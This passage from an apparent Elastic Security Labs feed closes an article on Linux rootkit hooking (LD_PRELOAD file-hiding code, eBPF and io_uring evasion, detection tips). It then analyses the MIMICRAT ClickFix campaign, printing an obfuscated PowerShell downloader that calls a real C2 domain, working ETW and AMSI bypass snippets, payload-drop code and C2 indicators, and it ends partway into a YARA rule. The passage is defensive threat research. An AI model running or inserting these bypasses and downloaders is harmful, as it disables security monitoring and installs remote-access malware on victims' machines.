<p>Userspace hooking is a technique that targets the libc layer, or other shared libraries accessed via the dynamic linker, to intercept common API calls used by user tools. Examples of these calls include <code>readdir</code>, <code>getdents</code>, <code>open</code>, <code>fopen</code>, <code>fgets</code>, and <code>connect</code>. By interposing replacement functions, an attacker can manipulate ordinary userland tools like <code>ps</code>, <code>ls</code>, <code>lsof</code>, and <code>netstat</code> to return altered or &quot;sanitized&quot; views. This is used to conceal processes, files, sockets, or hide evidence of malicious code.</p>
<p>The common methods for implementing this mirror how the dynamic linker resolves symbols or involve modifying process memory. These methods include using the <code>LD_PRELOAD</code> environment variable or <code>LD_AUDIT</code> to force an early load of a malicious shared object (.so) file, modifying ELF DT_* entries or library search paths to prioritize a hostile library, or performing runtime GOT/PLT overwrites within a process. Overwriting the GOT/PLT typically involves changing memory protection settings (<code>mprotect</code>), writing the new code (<code>write</code>), and then restoring the original settings (<code>restore</code>) after injection.</p>
<p>A hooked function usually calls the real libc symbol using <code>dlsym(RTLD_NEXT, ...)</code> for its normal operation. It then filters or alters the results only for targets it intends to hide. A basic example of a <code>LD_PRELOAD</code> filter for the <code>readdir()</code> function is shown below.</p>
<pre><code class="language-c">#define _GNU_SOURCE       // GNU extensions (RTLD_NEXT)
#include &lt;dlfcn.h&gt;        // dlsym(), RTLD_NEXT
#include &lt;dirent.h&gt;       // DIR, struct dirent, readdir()
#include &lt;string.h&gt;       // strstr()

// Pointer to the original readdir()
static struct dirent *(*real_readdir)(DIR *d);

struct dirent *readdir(DIR *d) {
    if (!real_readdir) // resolve original once
        real_readdir =
            dlsym(RTLD_NEXT, &quot;readdir&quot;);
    struct dirent *ent;
    // Fetch next dir entry from real readdir
    while ((ent = real_readdir(d)) != NULL) {
        // If name contains the secret marker,
        // skip this entry (hide it)
        if (strstr(ent-&gt;d_name, &quot;.secret&quot;))
            continue;
        return ent; // return visible entry
    }
    return NULL; // no more entries
}

</code></pre>
<p>This example replaces <code>readdir()</code> in-process by providing a library resolved before the real <code>libc</code>, effectively hiding filenames that match a filter. Historic user-mode hiding tools and lightweight “rootkits” have used <code>LD_PRELOAD</code> or GOT/PLT patching to hide processes, files, and sockets. Attackers also inject shared objects into specific services to achieve targeted stealth without needing kernel modules.</p>
<p>Userspace interposition affects only processes that load the malicious library (or are injected into). It’s fragile for system-wide persistence (service/unit files, sanitized environments, setuid/static binaries complicate it). Detection is straightforward relative to kernel hooks: check for suspicious <code>LD_PRELOAD</code>/<code>LD_AUDIT</code> entries, unexpected mapped shared objects in <code>/proc/&lt;pid&gt;/maps</code>, mismatches between on-disk libraries and in-memory imports, or altered GOT entries. Integrity tools, service supervisors (systemd), and simple process memory inspection will usually expose this technique.</p>
<h3>Hooking Techniques Using eBPF</h3>
<p>A more recent rootkit implementation model involves the abuse of eBPF (extended Berkeley Packet Filter). eBPF is a subsystem in Linux that allows privileged users to load bytecode programs into the kernel. While often described as a &quot;sandboxed VM,&quot; its security actually relies on a static verifier that ensures the bytecode is safe (no infinite loops, no illegal memory access) before it is JIT-compiled into native machine code for near-zero-latency execution.</p>
<p>Instead of inserting an LKM to modify kernel behavior, an attacker can load one or more eBPF programs that attach to sensitive kernel events. For instance, one can write an eBPF program that attaches to the system call entry for <code>execve</code> (via a kprobe or tracepoint), allowing it to monitor or manipulate process execution. Similarly, eBPF can hook at the LSM layer (like program execution notifications) to prevent certain actions or hide them. An example is displayed below.</p>
<pre><code class="language-c">// Attach this eBPF program to the tracepoint for sys_enter_execve
SEC(&quot;tp/syscalls/sys_enter_execve&quot;)
int tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx) {
    // Get the current process's PID and TID as a 64-bit value
    // Upper 32 bits = PID, Lower 32 bits = TID
    __u64 pid_tgid = bpf_get_current_pid_tgid();

    // Delegate handling logic to a helper function
    return handle_tp_sys_enter_execve(ctx, pid_tgid);
}

</code></pre>
&lt;center&gt;*eBPF hooking code example*&lt;/center&gt;
<p>Two prominent public examples are TripleCross and Boopkit. TripleCross demonstrated a rootkit that used eBPF to hook syscalls like execve for persistence and hiding. Boopkit used eBPF as a covert communication channel and backdoor, by attaching eBPF programs that could manipulate socket buffers (allowing a remote party to communicate with the rootkit through crafted packets). These are proof-of-concept projects, but they proved the viability of eBPF in rootkit development.</p>
<p>Main advantages are that eBPF hooking does not require an LKM to be loaded and is compatible with modern kernel protections. For eBPF-supported kernels, this is a strong technique. But although they are powerful, they are also constrained. They need elevated privileges to load, are limited by the verifier’s safety checks, are ephemeral across reboots (requiring separate persistence), and are increasingly discoverable by auditing/forensic tools. The usage of eBPF will especially be visible on systems that typically do not use eBPF tooling.</p>
<h2>Evasion Techniques Using io_uring</h2>
<p>While <code>io_uring</code> is not used for hooking, it deserves a honorable mention as a recent addition to the EDR evasion techniques used by rootkits. <code>io_uring</code> is an asynchronous, ring-buffer-based I/O API that lets processes submit batches of I/O requests (SQEs) and reap completions (CQEs) with minimal syscall overhead. It is not a hooking framework, but its design changes the syscall/visibility surface and exposes powerful kernel-facing primitives (registered buffers, fixed files, mapped rings) that attackers can abuse for stealthy I/O, syscall-evading workflows, or, when combined with a vulnerability, as an exploit primitive that leads to installing hooks at a lower layer.</p>
<p>Attack patterns fall into two classes: (1) <em>evasion/performance abuse</em>: a malicious process uses <code>io_uring</code> to perform lots of reads/writes/metadata ops in large batches so traditional per-syscall detectors see fewer events or atypical patterns; and (2) <em>exploit enabling</em>: bugs in <code>io_uring</code> surfaces (ring mappings, registered resources) have historically been the vector for privilege escalation, after which an attacker can install kernel hooks by more traditional means. <code>io_uring</code> also bypasses some libc wrappers if code submits operations directly, so userland hooking that intercepts libc calls may be circumvented. A simple submit/reap flow is illustrated below:</p>
<pre><code class="language-c">// Minimal io_uring usage (error handling omitted)

// io_uring context (SQ/CQ rings shared with kernel)
struct io_uring ring;

// Initialize ring with space for 16 SQEs
io_uring_queue_init(16, &amp;ring, 0);

// Grab a free submission entry (or NULL if full)
struct io_uring_sqe *sqe =
    io_uring_get_sqe(&amp;ring);

// Prepare SQE as a read(fd, buf, len, offset=0)
io_uring_prep_read(sqe, fd, buf, len, 0);

// Submit pending SQEs to the kernel (non-blocking)
io_uring_submit(&amp;ring);

struct io_uring_cqe *cqe;
// Block until a completion is available
io_uring_wait_cqe(&amp;ring, &amp;cqe);
// Mark the completion as handled (free slot)
io_uring_cqe_seen(&amp;ring, cqe);

</code></pre>
<p>The example above shows a submission queue feeding many file ops into the kernel with a single or a few <code>io_uring_enter</code> syscalls, reducing per-operation syscall telemetry.</p>
<p>Adversaries interested in stealthy data collection or high-throughput exfiltration may switch to <code>io_uring</code> to reduce syscall noise. <code>io_uring</code> does not inherently install global hooks or change other processes’ behavior; it is process-local unless combined with privilege escalation. Detection is possible by instrumenting the <code>io_uring</code> syscalls (<code>io_uring_enter</code>, <code>io_uring_register</code>) and watching for anomalous patterns: unusually large batches, many registered files/buffers, or processes that perform heavy batched metadata operations. Kernel version differences also matter: <code>io_uring</code> features evolve quickly, so attacker techniques may be version-dependent. Finally, because <code>io_uring</code> requires a running malicious process, defenders can often interrupt it and inspect its rings, registered files, and memory mappings to uncover misuse.</p>
<h2>Conclusion</h2>
<p>Hooking techniques in Linux have come a long way from simply overwriting a pointer in a table. We now see attackers exploiting legitimate kernel instrumentation frameworks (ftrace, kprobes, eBPF) to implant hooks that are harder to detect. Each method, from IDT and syscall table patches to inline hooks and dynamic probes, has its own trade-offs in stealth and stability. Defenders need to be aware of all these possible vectors. In practice, modern rootkits often combine multiple hooking techniques to achieve their goals. For example, PUMAKIT uses a direct syscall table hook and ftrace hooks, and Diamorphine uses syscall hooks plus a kprobe to get around symbol hiding. This layered approach means detection tools must check many facets of the system: IDT entries, syscall tables, model-specific registers (for sysenter hooks), integrity of function prologues, contents of critical function pointers in structures (VFS, etc.), active ftrace ops, registered kprobes, and loaded eBPF programs.</p>
<p>In part two of this series, we move from theory to practice. Armed with the understanding of rootkit taxonomy and hooking techniques covered here, we will focus on detection engineering, building and applying practical detection strategies to identify these threats in real-world Linux environments.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/fr/security-labs/assets/images/linux-rootkits-1-hooked-on-linux/linux-part-1-header.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[MIMICRAT: ClickFix Campaign Delivers Custom RAT via Compromised Legitimate Websites]]></title>
            <link>https://www.elastic.co/fr/security-labs/mimicrat-custom-rat-mimics-c2-frameworks</link>
            <guid>mimicrat-custom-rat-mimics-c2-frameworks</guid>
            <pubDate>Fri, 20 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovered a ClickFix campaign using compromised legitimate sites to deliver a five-stage chain ending in MIMICRAT, a custom native C RAT with malleable C2, token theft, and SOCKS5 tunneling.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>During a recent investigation, Elastic Security Labs identified an active ClickFix campaign compromising multiple legitimate websites to deliver a multi-stage malware chain. Unlike simpler ClickFix deployments that terminate at commodity infostealers, this campaign ends with a capable custom remote access trojan (RAT)  we have called <strong>MIMICRAT:</strong> a native C implant with malleable C2 profiles, token impersonation, SOCKS5 tunneling, and a 22-command dispatch table.</p>
<p>The campaign demonstrates a high level of operational sophistication: compromised sites spanning multiple industries and geographies serve as delivery infrastructure, a multi-stage PowerShell chain performs ETW and AMSI bypass before dropping a Lua-scripted shellcode loader, and the final implant communicates over HTTPS on port 443 using HTTP profiles that resemble legitimate web analytics traffic.</p>
<h3>Key takeaways</h3>
<ul>
<li>Multiple legitimate websites were compromised to deliver a five-stage attack chain.</li>
<li>The Lua loader executes embedded shellcode.</li>
<li><strong>MIMICRAT</strong> is a bespoke native C++ RAT with malleable C2 profiles, Windows token theft, and SOCKS5 proxy.</li>
</ul>
<h2>Discovery</h2>
<p>Elastic Security Labs first identified this campaign in early February 2026 through endpoint telemetry flagging suspicious PowerShell execution with obfuscated command-line arguments.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image1.png" alt="Telemetry: Obfuscated powershell execution" /></p>
<p>Given the novelty of the final payload, <a href="https://x.com/soolidsnakee/status/2021601599894819142">we publicly disclosed initial indicators via social media</a> on February 11, 2026 to ensure the broader security community could begin hunting for and defending against this threat while our full analysis was underway. The campaign remains active as of this publication.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image7.png" alt="" /></p>
<p>Researchers at Huntress have <a href="https://www.huntress.com/blog/clickfix-matanbuchus-astarionrat-analysis">documented</a> related ClickFix campaigns using similar infrastructure and techniques, indicating the breadth of this threat actor's operations across multiple parallel campaigns.</p>
<h3>Campaign Delivery</h3>
<p>The campaign's delivery relies entirely on compromising legitimate, trusted websites rather than attacker-owned infrastructure. The entry point for victims is bincheck[.]io, a legitimate Bank Identification Number (BIN) validation service. The threat actor compromised this site and injected a malicious JavaScript snippet that dynamically loads an external script hosted at <code>https://www.investonline[.]in/js/jq.php</code>, a second compromised site, a legitimate Indian mutual fund investment platform <strong>(Abchlor Investments Pvt. Ltd.)</strong>. The external script is named to impersonate the jQuery library, blending into the page's existing resource load.</p>
<p>It is this remotely loaded script (<code>jq.php</code>) that delivers the ClickFix lure: a fake Cloudflare verification page instructing the victim to manually paste and execute a command to &quot;fix&quot; a problem. The lure copies a malicious PowerShell command directly to the victim's clipboard and prompts them to open a Run dialog (<code>Win+R</code>) or PowerShell prompt and paste it. This technique bypasses browser-based download protections entirely, as no file is downloaded.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image8.png" alt="bincheck.io page source showing the injected script loading jq.php from investonline.in" /></p>
<p>This multidimensional compromise relies on a victim-facing website loading a malicious script from a second compromised website, distributes detection risk and increases the perceived legitimacy of the lure to both users and automated security tools. The campaign supports 17 languages, with the lure content dynamically localized based on the victim's browser language settings to broaden its effective reach. Identified victims span multiple geographies, including a USA-based university and multiple Chinese-speaking users documented in public forum discussions, suggesting broad opportunistic targeting.</p>
<p>The following is the list of supported languages by the ClickFix:</p>
<ul>
<li>English</li>
<li>Chinese</li>
<li>Russian</li>
<li>Spanish</li>
<li>French</li>
<li>German</li>
<li>Portuguese</li>
<li>Japanese</li>
<li>Korean</li>
<li>Italian</li>
<li>Turkish</li>
<li>Polish</li>
<li>Dutch</li>
<li>Vietnamese</li>
<li>Arabic</li>
<li>Hindi</li>
<li>Indonesian</li>
</ul>
<h2>Code analysis</h2>
<p>Once the victim executes the clipboard command, the campaign unfolds across five distinct stages: an obfuscated PowerShell downloader contacts the C2 to retrieve a second-stage script that patches Windows event logging(<a href="https://learn.microsoft.com/en-us/windows-hardware/test/wpt/event-tracing-for-windows">ETW</a>) and antivirus scanning(<a href="https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal">AMSI</a>) before dropping a Lua-based loader; the loader decrypts and executes shellcode entirely in memory; and the shellcode ultimately delivers <strong>MIMICRAT</strong>, a capable RAT designed for persistent access and lateral movement.</p>
<h3>Stage 1 Powershell one liner command</h3>
<p>The clipboard-delivered command is a compact and obfuscated PowerShell one-liner:</p>
<pre><code class="language-c">powershell.exe -WInDo Min $RdLU='aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf';$OnRa=($RdLU.Substring(17,12));$jOFn=.($RdLU[(87)/(3)]+$RdLU[19]+$RdLU[2]) $OnRa;$TNNt=$jOFn; .($TNNt.Remove(0,3).Remove(3))($TNNt); # connects to xMRi.neTwOrk
</code></pre>
<p>The command uses string slicing and arithmetic index operations on a single seed string (<code>aZmEwGEtHPckKyBXPxMRi.neTwOrkicsGf</code>) to reconstruct both the target domain and the invocation mechanism at runtime, avoiding any plaintext representation of the C2 domain or PowerShell cmdlet names in the initial payload. The window is minimized (<code>-WInDo Min</code>). The extracted domain is <code>xMRi.neTwOrk</code>, which resolves to <code>45.13.212.250</code>, and downloads a second-stage PowerShell script.</p>
<p>Infrastructure pivoting on <code>45.13.212.250</code> via VirusTotal relations revealed a second domain, <code>WexMrI.CC</code>, resolving to the same IP. Both domains share the same mixed-case formatting obfuscation pattern.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image5.png" alt="PowerShell deobfuscation in a debug session $HDjo resolves to WexMrI.CC" /></p>
<h3>Stage 2 Obfuscated Powershell script</h3>
<p>The downloaded second-stage PowerShell script is significantly more elaborated. All strings are constructed at runtime by resolving arithmetic expressions to ASCII characters:</p>
<pre><code class="language-c">$smaau = (-join[char[]](((7454404997-7439813680)/175799),(91873122/759282),...))
# Resolves to: &quot;System.Diagnostics.Eventing.EventProvider&quot;
</code></pre>
<p>This technique renders the script opaque to static analysis and signature-based detection while remaining fully functional at runtime. A dummy class declaration is included as a decoy and<br />
the script executes four sequential operations:</p>
<h4>ETW Bypass</h4>
<p>The script accesses the internal <code>m_enabled</code> field of the <code>System.Diagnostics.Eventing.EventProvider</code> class via reflection and patches its value to <code>0</code>, effectively disabling Event Tracing for Windows and blinding PowerShell script block logging.</p>
<pre><code class="language-c">[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
</code></pre>
<h4>AMSI Bypass</h4>
<p>The script then uses reflection to access <code>System.Management.Automation.AmsiUtils</code> and sets the <code>amsiInitFailed</code> field to <code>$true</code>, causing PowerShell to skip all AMSI content scanning for the remainder of the session.</p>
<pre><code class="language-c">[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
</code></pre>
<h4>AMSI - Memory Patching</h4>
<p>The script performs runtime method handle patching via <code>Marshal.Copy</code> in an additional but less common defense evasion step overwriting method pointers in memory to redirect execution away from monitored code paths. This targets the function <code>ScanContent</code> under <code>System.Management.Automation.AmsiUtils</code> to an empty generate method.</p>
<pre><code class="language-c">$ScanContent_func = [Ref].Assembly.GetType(&quot;System.Management.Automation.AmsiUtils&quot;).GetMethods(&quot;NonPublic,Static&quot;) | Where-Object Name -eq &quot;ScanContent&quot;
$tttttttttt       = [zsZRXVIIMQvZ].GetMethods() | Where-Object Name -eq &quot;FHVcGSwOEM&quot;

[System.Runtime.InteropServices.Marshal]::Copy( @([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$tttttttttt.MethodHandle.Value + [long]8)),
    0,
    [long]$ScanContent_func.MethodHandle.Value + [long]8,
    1
)

</code></pre>
<h4>Payload Delivery</h4>
<p>With event logging and AV scanning disabled, the script decodes a base64-encoded ZIP archive, extracts it to a randomly named directory under <code>%ProgramData%</code>/<code>knz_{random}</code>, and executes the contained binary <code>zbuild.exe</code>. Temporary artifacts are cleaned up post-execution.</p>
<pre><code class="language-c">$extractTo = Join-Path $env:ProgramData (&quot;knz_{0}&quot; -f ([IO.Path]::GetRandomFileName()))
[IO.Compression.ZipFile]::ExtractToDirectory($tempZip, $extractTo)
Start-Process (Join-Path $extractTo 'zbuild.exe')
</code></pre>
<h3>Stage 3 Lua loader</h3>
<p>The dropped binary is a custom Lua 5.4.7 loader. It embeds a Lua interpreter statically.<br />
The binary decrypts an embedded Lua script using a XOR stub at runtime, then executes it. The XOR decryption routine (<code>fxh::utility::lua_script_xor_decrypt</code>) iterates over the encrypted buffer XORing each byte against a key.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image3.png" alt="XOR decryption routine in the Lua loader" /></p>
<p>The Lua script implements a custom Base64 decoder with a non-standard alphabet to decode an embedded shellcode. The decoded shellcode is then allocated in executable memory via <code>luaalloc</code>, copied into that memory with <code>luacpy</code>, and finally executed via <code>luaexe</code>, achieving fully in-memory, fileless shellcode execution.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image10.png" alt="Decrypted Lua script" /></p>
<h3>Stage 4 shellcode</h3>
<p>Shellcode matched Meterpreter-related signatures, suggesting the shellcode stage is a loader consistent with the Meterpreter code-family to reflectively load <strong>MIMICRAT</strong> into memory.</p>
<h3>Stage 5 MIMICRAT</h3>
<p>The final payload with compilation metadata set to <strong>January 29 2026</strong> is a native MSVC x64 PEcompiled with Microsoft Visual Studio linker version 14.44. It does not match any known open-source C2 framework exactly, implementing its own malleable HTTP C2 profiles with ASCII-character-based command dispatch and a custom architecture.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image6.png" alt="VirusTotal detection page" /></p>
<h4>C2 Configuration and communication</h4>
<p><strong>MIMICRAT</strong>'s configuration is stored in the <code>.data</code> section. It contains cryptographic keys, connection parameters, and two complete HTTP communication profiles. All header strings and URIs are hex-encoded ASCII, and decoded at runtime.</p>
<p>The C2 operates over HTTPS on port 443 with a 10-second callback interval. The C2 server hostname (<code>d15mawx0xveem1.cloudfront.net</code>) is RC4 encrypted with the following RC4 key <code>@z1@@9&amp;Yv6GR6vp#SyeG&amp;ZkY0X74%JXLJEv2Ci8&amp;J80AlVRJk&amp;6Cl$Hb)%a8dgqthEa6!jbn70i27d4bLcE33acSoSaSsq6KpRaA7xDypo(5</code>.</p>
<p>The implant uses HTTPS for communication with a layered encryption scheme: an embedded RSA-1024 public key handles asymmetric session key exchange.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image4.png" alt="Importing rsa public key" /></p>
<p>While AES is used for symmetric encryption of C2 traffic it uses a hardcoded IV <code>abcdefghijklmnop</code> and a runtime calculated key which derived from a SHA-256 hash value of a randomly generated alpha-numeric value example <code>9ZQs0p0gfpOj3Y02.</code></p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image2.png" alt="AES encryption" /></p>
<p>The following are the profile used by the sample for POST and GET requests:</p>
<h5>HTTP GET Profile: Check-in and Tasking</h5>
<table>
<thead>
<tr>
<th align="center">Component</th>
<th align="center">Value</th>
</tr>
</thead>
<tbody>
<tr>
<td align="center">URI</td>
<td align="center"><code>/intake/organizations/events?channel=app</code></td>
</tr>
<tr>
<td align="center">User-Agent</td>
<td align="center"><code>Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.9.19041; ...) Edge/18.19045</code></td>
</tr>
<tr>
<td align="center">Referer</td>
<td align="center"><code>[https://www.google.com/?q=dj1](https://www.google.com/?q=dj1)</code></td>
</tr>
<tr>
<td align="center">Accept-Language</td>
<td align="center"><code>zh-CN,zh;q=0.9</code></td>
</tr>
<tr>
<td align="center">Cookies</td>
<td align="center"><code>AFUAK</code>, <code>BLA</code>, <code>HFK</code></td>
</tr>
</tbody>
</table>
<h5>HTTP POST Profile: Data Exfiltration</h5>
<table>
<thead>
<tr>
<th>Component</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>URI</td>
<td><code>/discover/pcversion/metrics?clientver=ds</code></td>
</tr>
<tr>
<td>Referer</td>
<td><code>[https://gsov.google.com/](https://gsov.google.com/)</code></td>
</tr>
<tr>
<td>Cookies</td>
<td><code>ARCHUID</code>, <code>BRCHD</code>, <code>ZRCHUSR</code></td>
</tr>
</tbody>
</table>
<h4>Command Dispatch</h4>
<p><strong>MIMICRAT implements</strong> a total of 22 distinct commands to provide post-exploitation capabilities like process and file system control, interactive shell access, token manipulation, shellcode injection, and SOCKS proxy tunneling. The beacon interval and jitter are operator-configurable at runtime via dedicated commands. The following is a summarized table of all the implemented commands:</p>
<table>
<thead>
<tr>
<th>Cmd ID</th>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Exit</td>
<td>Terminates the implant process</td>
</tr>
<tr>
<td>4</td>
<td>Set beacon interval</td>
<td>Configures sleep duration and jitter</td>
</tr>
<tr>
<td>5</td>
<td>Change directory</td>
<td>Changes the current working directory</td>
</tr>
<tr>
<td>10</td>
<td>Write file</td>
<td>Writes a C2-supplied payload to disk (overwrite)</td>
</tr>
<tr>
<td>11</td>
<td>Read file</td>
<td>Reads a file from disk and exfiltrates contents to C2</td>
</tr>
<tr>
<td>12</td>
<td>Spawn process</td>
<td>Launches a process using a stolen token if available, falling back to standard execution</td>
</tr>
<tr>
<td>28</td>
<td>Revert impersonation</td>
<td>Reverts token impersonation and clears token state</td>
</tr>
<tr>
<td>31</td>
<td>Steal token</td>
<td>Duplicates the security token of a target process by PID</td>
</tr>
<tr>
<td>32</td>
<td>List processes</td>
<td>Enumerates running processes with PID, PPID, user, domain, and architecture</td>
</tr>
<tr>
<td>33</td>
<td>Kill process</td>
<td>Terminates a process by PID</td>
</tr>
<tr>
<td>39</td>
<td>Get current directory</td>
<td>Returns the current working directory to C2</td>
</tr>
<tr>
<td>53</td>
<td>List files</td>
<td>Lists files and directories with timestamps and sizes</td>
</tr>
<tr>
<td>54</td>
<td>Create directory</td>
<td>Creates a directory on disk</td>
</tr>
<tr>
<td>55</td>
<td>List drives</td>
<td>Enumerates logical drives</td>
</tr>
<tr>
<td>56</td>
<td>Delete file/directory</td>
<td>Deletes a file or removes a directory</td>
</tr>
<tr>
<td>67</td>
<td>Append to file</td>
<td>Appends C2-supplied data to an existing file</td>
</tr>
<tr>
<td>73</td>
<td>Copy file</td>
<td>Copies a file from source to destination</td>
</tr>
<tr>
<td>74</td>
<td>Move/rename file</td>
<td>Moves or renames a file</td>
</tr>
<tr>
<td>78</td>
<td>Interactive shell</td>
<td>Opens a persistent interactive CMD shell over a pipe</td>
</tr>
<tr>
<td>100</td>
<td>Inject shellcode</td>
<td>Reflective shellcode injection</td>
</tr>
<tr>
<td>101</td>
<td>SOCKS</td>
<td>Configures SOCKS proxy channel or stop it</td>
</tr>
<tr>
<td>102</td>
<td>SOCKS proxy</td>
<td>Shares handler with command 101; Most likely a placeholder command</td>
</tr>
</tbody>
</table>
<h3>Infrastructure</h3>
<p>The campaign's network infrastructure clusters into two primary groups:</p>
<h3>Cluster A — Initial Payload Delivery (<code>45.13.212.251</code> / <code>45.13.212.250</code>)</h3>
<p>Multiple domains point to this IP range, including <code>xMRi.neTwOrk</code> and <code>WexMrI.CC</code>. Domain naming uses mixed-case obfuscation. This infrastructure serves the second-stage PowerShell script and the embedded payload ZIP.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mimicrat-custom-rat-mimics-c2-frameworks/image9.png" alt="VirusTotal relations for 45.13.212.251 showing multiple campaign domains resolving to this IP" /></p>
<h3>Cluster B  Post-Exploitation C2 (<code>23.227.202.114</code>)</h3>
<p>Associated with <code>www.ndibstersoft[.]com</code> and observed in beacon communications from the dropped file. This represents the operator's post-exploitation C2 channel.</p>
<p><strong>CloudFront C2 Relay</strong><br />
<code>d15mawx0xveem1.cloudfront[.]net</code> is confirmed as part of <strong>MIMICRAT</strong>'s C2 infrastructure. VT relations for the <code>rgen.zip</code> sample show it contacting this CloudFront domain using the same <code>/intake/organizations/events?channel=app</code> URI pattern identified in <strong>MIMICRAT</strong>'s GET profile, confirming it acts as a C2 relay fronting for the backend server.</p>
<p><strong>Delivery Infrastructure</strong></p>
<p>Two compromised legitimate websites form the delivery chain:</p>
<ul>
<li><code>bincheck.io</code> — victim-facing entry point; compromised to load the external malicious script</li>
<li><code>investonline.in</code> — hosts the ClickFix JavaScript payload (<code>/js/jq.php</code>) disguised as jQuery; this script renders the lure and delivers the clipboard PowerShell</li>
</ul>
<h2>Malware and MITRE ATT&amp;CK**</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/003/">Phishing: Spearphishing via Service (ClickFix clipboard)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027/010/">Obfuscated Files or Information: Command Obfuscation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools (AMSI bypass)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1562/002/">Impair Defenses: Disable Windows Event Logging (ETW patch)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading / In-Memory Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/001/">Access Token Manipulation: Token Impersonation/Theft</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application Layer Protocol: Web Protocols (HTTPS)</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
</ul>
<h2>Mitigations</h2>
<h3>Detection</h3>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_execution_via_obfuscated_powershell_script.toml">Execution via Obfuscated PowerShell Script</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Token theft and impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_potential_privilege_escalation_via_token_impersonation.toml">Potential Privilege Escalation via Token Impersonation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the MimicRat:</p>
<pre><code>rule Windows_Trojan_MimicRat {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2026-02-13&quot;
        last_modified = &quot;2026-02-13&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
